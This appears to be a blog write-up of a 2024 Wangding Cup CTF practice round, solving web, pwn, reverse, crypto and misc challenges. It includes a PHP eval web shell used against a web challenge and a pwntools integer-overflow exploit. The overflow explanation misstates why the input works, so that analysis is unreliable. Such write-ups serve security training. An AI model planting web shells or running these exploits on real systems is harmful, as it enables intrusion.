当前位置: 首页 > news >正文

2024年第四届“网鼎杯”网络安全大赛-赛前模拟训练

文章目录

  • 网络安全(WEB)
    • 签到题
    • WEB01
    • WEB02
  • 二进制漏洞安全(PWN)
    • PWN01
      • 潜在的安全漏洞分析
      • 攻击步骤
      • exp
  • 逆向工程(REVERSE)
    • REVERSE01
      • 代码分析
      • 重构密码
  • 密码学(CRYPTO)
    • CRYPTO01
    • CRYPTO02
  • 杂项 (MISC)

随便做了点就玩去了

顺便吐槽一句,为什么交了flag之后环境自动销毁而且还无法启动新的环境,不是谁教你们这么办比赛的??????

网络安全(WEB)

签到题

赛前模拟训练【签到题】,请下载赛题附件进行查看。

第四届“网鼎杯”网络安全大赛
赛前模拟训练【签到题】请使用Base64编码进行转换:d2RmbGFne3dkYjIwMTgtMjAyNF8wNH0=

在这里插入图片描述

wdflag{wdb2018-2024_04}

WEB01

某行业的供应链公司,在公司内部有多个未下线的老旧业务系统,由于公司内部无网络安全方面专职运维人员,导致互联网边界防火墙长期无人看管,部分业务系统被映射到互联网。该行业主管部门近期组织了一场供应链专项网络安全测试,请您根据网络安全实战经验,对该公司映射到互联网的系统进行测试,确认是否存在网络安全问题

//shell.php
<?php eval($_POST['x']);phpinfo();?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

wdflag{n1e1844gu8cgt58ysshvdv6cct7xgeey}

WEB02

某集团总部近期对下属子公司的业务系统进行了一次安全检查,发现部分业务应用系统存在高危漏洞。您做为专业的第三方安全服务公司,请对该业务系统进行人工检查,确认是否存在高危的安全漏洞。

这题没看

二进制漏洞安全(PWN)

PWN01

发现一个可疑的网络通道,不确定是否存在安全问题,请根据提供的源码附件内容,对目标地址进行测试。

#include <stdio.h>
#include <stdlib.h>int main() {char flag[32];FILE* f = fopen("flag", "r");if (f == NULL) {puts("flag not found");return 1;}fgets(flag, 32, f);fclose(f);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 2, 0);printf("Input: ");char buffer[16];fgets(buffer, 16, stdin);int val = atoi(buffer);if (val < 0) {puts("Error: no negative numbers allowed!");return 1;}int doubled = 2 * val;printf("Doubled: %i\n", doubled);if (doubled == -100) {puts(flag);}
}
  1. 读取 Flag:

    • 程序从文件 "flag" 中读取最多 31 个字符存入 flag[32] 数组。
  2. 输入处理:

    • 程序提示用户输入一个字符串,最多读取 15 个字符存入 buffer[16]
    • 使用 atoi 将输入字符串转换为整数 val
    • 如果 val < 0,程序输出错误信息并退出。
    • 计算 doubled = 2 * val
    • 如果 doubled == -100,输出 flag

潜在的安全漏洞分析

表面上看,程序似乎通过限制 val 为非负数来防止负数输入。然而,通过仔细分析,可以发现存在一个利用整数溢出的潜在漏洞,具体如下:

  1. 整数溢出利用:

    • 在大多数系统中,int 类型为 32 位,范围是 -21474836482147483647
    • 程序要求 doubled == -100,即 2 * val == -100,理论上 val 应该是 -50
    • 然而,程序中有 if (val < 0) 检查,阻止负数输入。
    • 如果输入一个超过 int 最大值的正整数,atoi 转换时可能会发生整数溢出,导致 val 被解释为一个负数,但这种情况下,val < 0 检查可能无法正确拦截,具体取决于编译器和系统的行为。
  2. 具体的溢出数值计算:

    • 目标是使 2 * val == -100,即 val == -50
    • 在 32 位无符号整数下,-100 等价于 0xFFFFFF9C
    • 需要找到一个 val,使得 2 * val ≡ 0xFFFFFF9C (mod 2^32)
    • 计算得到 val ≡ 0x7FFFFFCE (mod 2^32),即 2147483598

攻击步骤

  1. 构造特定的输入:
    • 发送一个超过 int 最大值(2147483647)的正整数,例如 2147483598
    • 具体输入可以是:2147483598
  2. 预期行为:
    • 如果 atoi 在遇到溢出时将输入解释为负数 -50,则:
      • doubled = 2 * (-50) = -100
      • 即使 val < 0,由于整数溢出,程序可能不会正确检测,直接比较 doubled == -100,从而输出 flag

exp

from pwn import *# 配置日志级别为 DEBUG,以便查看详细的调试信息
context.log_level = 'debug'# 目标服务器的主机和端口
HOST = '0192a3308f627c5ea8d25a7df12434f6.ey9u.dg04.wangdingcup.com'
PORT = 40006def main():try:# 建立与目标服务器的连接conn = remote(HOST, PORT)# 接收服务器欢迎信息,直到提示输入banner = conn.recvuntil(b'Input: ')print(banner.decode())# 构造恶意输入# 根据分析,我们选择一个大于 INT_MAX 的数以触发溢出# 此处选择2147483598作为示例payload = b'2147483598\n'# 发送恶意输入conn.send(payload)print(f"[*] Sent payload: {payload.decode().strip()}")# 接收服务器的响应response = conn.recvall(timeout=2)print(response.decode())except EOFError:print("[-] Connection closed by remote host.")except Exception as e:print(f"[-] An error occurred: {e}")finally:conn.close()if __name__ == '__main__':main()

逆向工程(REVERSE)

REVERSE01

某次服务器巡检过程中,发现一个可疑的Java源码,请根据提供的源码文件,分析找到隐藏在代码中的关键信息。

import java.util.Scanner;class ReverseEngineeringChallenge {public static void main(String args[]) {Scanner scanner = new Scanner(System.in);System.out.print("Enter password: ");String userInput = scanner.next();if (checkPassword(userInput)) {System.out.println("Access granted.");} else {System.out.println("Access denied!");}}public static boolean checkPassword(String password) {return password.length() == 20 &&password.charAt(0) == 'f' &&password.charAt(11) == '_' &&password.charAt(1) == 'l' &&password.charAt(6) == '0' &&password.charAt(3) == 'g' &&password.charAt(8) == '4' &&password.charAt(4) == '{' &&password.charAt(9) == '_' &&password.charAt(7) == '2' &&password.charAt(10) == '_' &&password.charAt(2) == 'a' &&password.charAt(12) == '_' &&password.charAt(5) == '2' &&password.charAt(17) == 'B' &&password.charAt(14) == '_' &&password.charAt(18) == '!' &&password.charAt(16) == '_' &&password.charAt(19) == '}' &&password.charAt(15) == 'D' &&password.charAt(13) == 'W';}
}

在提供的Java源码中,服务器通过一个密码验证机制来控制访问权限。分析代码可以帮助我们找到隐藏的关键密码信息。

代码分析

  1. 主要流程

    • 程序提示用户输入密码。
    • 用户输入的密码被传递给checkPassword方法进行验证。
    • 如果密码验证成功,输出“Access granted.”,否则输出“Access denied!”。
  2. 密码验证逻辑 (checkPassword 方法)

    • 长度检查:密码必须为20个字符。
    • 逐字符验证:密码的每个字符在特定的位置必须符合预设的字符。
  3. 具体的字符验证条件

    索引 (0-based)必须字符
    0'f'
    1'l'
    2'a'
    3'g'
    4'{'
    5'2'
    6'0'
    7'2'
    8'4'
    9'_'
    10'_'
    11'_'
    12'_'
    13'W'
    14'_'
    15'D'
    16'_'
    17'B'
    18'!'
    19'}'

重构密码

根据上述的验证条件,我们可以逐一填充每个索引对应的字符:

索引:  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
字符: f l a g { 2 0 2 4 _  _  _  _  W  _  D  _  B  !  }

将字符按顺序拼接起来,得到完整的密码:

flag{2024____W_D_B!}

flag{2024____W_D_B!}

密码学(CRYPTO)

CRYPTO01

运维人员在某网络设备中捕获一段加密代码,请帮忙分析其中的明文信息。

pvkq{G!N@L#}

在这里插入图片描述
flag{W!D@B#}

CRYPTO02

拦截到一张图片,请您分析这张图片中,是否包含有隐藏数据信息?

没细看

杂项 (MISC)

运维监测到有web攻击,请根据日志进行分析,找到攻击信息。

在这里插入图片描述换个方式搜
在这里插入图片描述
wdflag{14030b5a31e7984365c08da0ece8dd03}

相关文章:

2024年第四届“网鼎杯”网络安全大赛-赛前模拟训练

文章目录 网络安全&#xff08;WEB&#xff09;签到题WEB01WEB02 二进制漏洞安全&#xff08;PWN&#xff09;PWN01潜在的安全漏洞分析攻击步骤exp 逆向工程&#xff08;REVERSE&#xff09;REVERSE01代码分析重构密码 密码学&#xff08;CRYPTO&#xff09;CRYPTO01CRYPTO02 杂…...

AI金融攻防赛:YOLO理论学习及赛题进阶思路(DataWhale组队学习)

引言 大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年10月学习赛的AI金融攻防赛学习总结文档。本文主要讲解如何在金融场景凭证篡改检测中应用YOLO算法。我们将从模型概述、数据准备、训练流程以及模…...

Spring Security 基础配置详解(附Demo)

目录 前言1. 基本知识2. Demo3. 实战 前言 基本的Java知识推荐阅读&#xff1a; java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&#xff09;【Java项目】实战CRUD的功能整理&#xff08;持续更新&#xff09; 1. 基本知识 HttpSecurity 是 Spri…...

代码随想录打卡Day1

文章目录 day011 数组理论基础2 二分查找法3 移除元素4 平方数 day01 Java JDK是17.0.11 1 数组理论基础 数组是存放在连续内存空间上的相同类型数据的集合。 数组下标都是从0开始的。 数组内存空间的地址是连续的。 因为数组在内存空间的地址是连续的&#xff0c;所以我们…...

Vue快速创建工程+Element Plus

创建Vue工程 执行命令 npm init vuelatest 执行这两个绿色的命令 执行这个命令启动 npm run dev Element 打开网站https://element-plus.org/zh-CN/ npm install element-plus --save 然后在vscode中打开你的项目工程 // main.ts import { createApp } from vue import Ele…...

汽车管理系统——主界面制作

目录 主界面需要有什么&#xff1f;然后要做什么&#xff1f;添加两个主菜单&#xff08;声明&#xff09;下一步应该干什么&#xff1f;能够跳转到文件有哪几个动作&#xff1f;动作如何声明&#xff1f;为什么用选择声明指针&#xff0c;不选择直接声明这个对象&#xff1f; …...

C++ 右值引用深入理解:特性、优化与底层

目录 一、左右值的概念及右值的种类 二、左值引用与右值引用 左值引用给右值取别名&#xff1a; 右值引用给左值取别名&#xff1a; 三、引用的意义及左值引用的场景 四、移动构造&#xff1a; 右值引用在底层里的实现&#xff1a; 一、左右值的概念及右值的种类 在 C …...

C# 文件操作

文章目录 文件系统FileInfo和DirectoryInfo类完成一个文件的拷贝判断一个文件是否存在FileInfo和DirectoryInfo的属性列表FileInfo和DirectoryInfo的方法列表读写文件文件系统 下面的类用于浏览文件系统和执行操作,比如移动,复制和删除文件。 System.MarshalByRefObject 这个…...

FFmpeg 4.3 音视频-多路H265监控录放C++开发三 :安装QT5.14.2, 并将QT集成 到 VS2019中。

一&#xff0c;安装QT&#xff0c; 重点&#xff1a;在安装QT的时候要安装msvc201x版本的组件&#xff0c; 二 &#xff0c; 安装 qt-vs-tools Index of /development_releases/vsaddin/2.8.1 三&#xff0c;需要安装过 windows10 SDK&#xff0c;一般我们在安装vs2019的时候就…...

Linux 累加计算递归算法汇编实现

1...n可以使用公式计算&#xff0c;同时也是递归实现的很好例子&#xff0c;其c实现代码为 int f(int i) {i && (if(i-1));return i; } 其终止条件为0&#xff0c;此时i && &#xff08;if(i-1)&#xff09;表达式不成立&#xff0c;不计算if(i-1)直接返回0&…...

明日周刊-第23期

十月已过半&#xff0c;气温也转凉了&#xff0c;大家注意保温哦。冬吃萝卜&#xff0c;夏吃姜&#xff0c;在快要到来的冬季大家可以选择多吃点萝卜。 配图是本周末去商场抓娃娃的时候拍的照片&#xff0c;现在抓娃娃单次普遍都控制在1块钱以下了&#xff0c;还记得多年前的抓…...

kubernets(二)

集群操作 查看集群信息 kubectl get查看各组件信息 格式&#xff1a;kubectl get 资源类型 【资源名】 【选项】 events #查看集群中的所有日志信息 -o wide # 显示资源详细信息&#xff0c;包括节点、地址... -o yaml/json #将当前资源对象输出至 yaml/json 格式文…...

《YOLO 标注工具全览》

《YOLO 标注工具全览》 一、YOLO 标注工具的重要性二、常见的 YOLO 标注工具介绍&#xff08;一&#xff09;LabelImg&#xff08;二&#xff09;Yolo_Label&#xff08;三&#xff09;在线标注工具 Make Sense&#xff08;四&#xff09;Ybat - YOLO BBox Annotation Tool&…...

财富思维学习

四大象限&#xff1a; 人类财富创造史经历的五个阶段&#xff1a; 1、黄色&#xff08;土地&#xff09;财务阶段&#xff1a;拥有土地和劳动力是财富的要求 2、蓝色&#xff08;海&#xff09;财富阶段&#xff1a;谁拥有贸易的通道谁就拥有财富&#xff08;如港口&#xff…...

python爬虫加解密分析及实现

第一种&#xff1a; 1、找到加密的接口地址&#xff0c;通过加密的接口地址全局搜索 2、通过打断点的方式&#xff0c;操作页面&#xff0c;跑到断点处时&#xff0c;即可找到加密串&#xff0c;如图二&#xff1b; 3、找到用的是哪种加密方式&#xff0c;如&#xff1a; cr…...

用Java做智能客服,基于私有知识库

构建Java智能客服系统的整体思路 使用Java构建智能客服系统的整体思路是&#xff1a; 首先将客服QA文档以Word形式导入到系统中&#xff0c;通过向量化处理存入知识库。 当用户提出问题时&#xff0c;系统会根据问题内容从知识库中检索相关的上下文信息&#xff0c;并结合大…...

软考(网工)——网络安全

文章目录 &#x1f550;网络安全基础1️⃣网络安全威胁类型2️⃣网络攻击类型 &#x1f551;现代加密技术1️⃣私钥密码/对称密码体制2️⃣对称加密算法总结3️⃣公钥密码/非对称密码4️⃣混合密码5️⃣国产加密算法 - SM 系列6️⃣认证7️⃣基于公钥的认证 &#x1f552;Hash …...

如何给手机换ip地址

在当今数字化时代&#xff0c;IP地址作为设备在网络中的唯一标识&#xff0c;扮演着举足轻重的角色。然而&#xff0c;有时出于隐私保护、网络访问需求或其他特定原因&#xff0c;我们可能需要更改手机的IP地址。本文将详细介绍几种实用的方法&#xff0c;帮助您轻松实现手机IP…...

kafkamanager安装

一.下载kafkamanager2.0 https://download.csdn.net/download/cyw8998/89892482 二.修改配置文件 解压缩 unzip kafka-manager-2.0.0.0.zip vim application.conf /opt/module/kafka-manager-2.0.0.0/conf/application.conf 添加以下内容&#xff1a;&#xff08;连接zooke…...

笔记本电脑U口保护分享

在前司时候&#xff0c;经常遇到各种硬件类的问题&#xff0c;但是之前没时间分享&#xff0c;现在来给大家分享一下&#xff0c;常见的问题及如何保护。 1.接口接触不良。这个一般发生于使用时间长了&#xff0c;可以用细砂纸&#xff0c;轻轻摩擦后再进行尝试。 2.接口失灵…...

设计模式和设计原则回顾

设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

JVM垃圾回收机制全解析

Java虚拟机&#xff08;JVM&#xff09;中的垃圾收集器&#xff08;Garbage Collector&#xff0c;简称GC&#xff09;是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象&#xff0c;从而释放内存空间&#xff0c;避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解&#xff0c;“超级…...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装

以下是基于 vant-ui&#xff08;适配 Vue2 版本 &#xff09;实现截图中照片上传预览、删除功能&#xff0c;并封装成可复用组件的完整代码&#xff0c;包含样式和逻辑实现&#xff0c;可直接在 Vue2 项目中使用&#xff1a; 1. 封装的图片上传组件 ImageUploader.vue <te…...

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)

参考官方文档&#xff1a;https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java&#xff08;供 Kotlin 使用&#xff09; 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…...

稳定币的深度剖析与展望

一、引言 在当今数字化浪潮席卷全球的时代&#xff0c;加密货币作为一种新兴的金融现象&#xff0c;正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而&#xff0c;加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下&#xff0c;稳定…...

Python 包管理器 uv 介绍

Python 包管理器 uv 全面介绍 uv 是由 Astral&#xff08;热门工具 Ruff 的开发者&#xff09;推出的下一代高性能 Python 包管理器和构建工具&#xff0c;用 Rust 编写。它旨在解决传统工具&#xff08;如 pip、virtualenv、pip-tools&#xff09;的性能瓶颈&#xff0c;同时…...

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要

根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分&#xff1a; 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...